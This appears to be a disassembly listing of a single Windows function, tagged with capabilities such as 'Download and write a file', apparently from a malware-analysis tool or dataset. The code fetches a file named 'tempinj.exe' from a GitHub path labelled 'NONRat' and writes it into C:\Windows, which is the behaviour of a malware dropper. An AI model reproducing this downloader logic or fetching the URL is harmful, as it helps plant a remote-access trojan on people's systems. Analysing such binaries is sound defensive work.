Function at 0x140001260
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x770]
sub rsp, 0x870
mov rax, qword [0x140005040]
xor rax, rsp
mov qword [rbp + 0x760], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.DownloadFromWeb
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rdi, rax
mov dword [rsp + 0x28], 0x800
lea rbx, [0x1400057d0]
mov qword [rsp + 0x20], rbx
mov r9d, 0xffffffff
lea r8, str.https:__github.com_charShop_sigma_NONRat_raw_main_tempinj.exe
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
je 0x140001470
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 0xb
mov qword [rsp + 0x58], 0xf
movsd xmm0, qword [str.C:Windows_]
movsd qword [rsp + 0x40], xmm0
movzx ecx, word [0x140003458]
mov word [rsp + 0x48], cx
movzx eax, byte [0x14000345a]
mov byte [rsp + 0x4a], al
mov byte [rsp + 0x4b], 0
mov qword [rsp + 0x20], 0xb
mov edx, 0xb
lea rcx, [rsp + 0x40]
call fcn.140001720
mov qword [rsp + 0x30], 0
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rdx, qword [rsp + 0x40]
lea r8, [0x14000345c]
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
cmp qword [rsp + 0x30], 0
je 0x14000140a
test eax, eax
jne 0x14000140a
lea r9, [rsp + 0x38]
mov r8d, 0x800
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400013fd
nop dword [rax]
mov eax, dword [rsp + 0x38]
test eax, eax
je 0x1400013fd
mov r8d, eax
mov r9, qword [rsp + 0x30]
mov edx, 1
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
lea r9, [rsp + 0x38]
mov r8d, 0x800
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400013c0
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
jmp 0x140001426
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001520
mov rcx, rax
lea rdx, [0x1400016e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140001470
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000146b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000146b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001bcc
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x760]
xor rcx, rsp
call fcn.140001930
lea r11, [rsp + 0x870]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret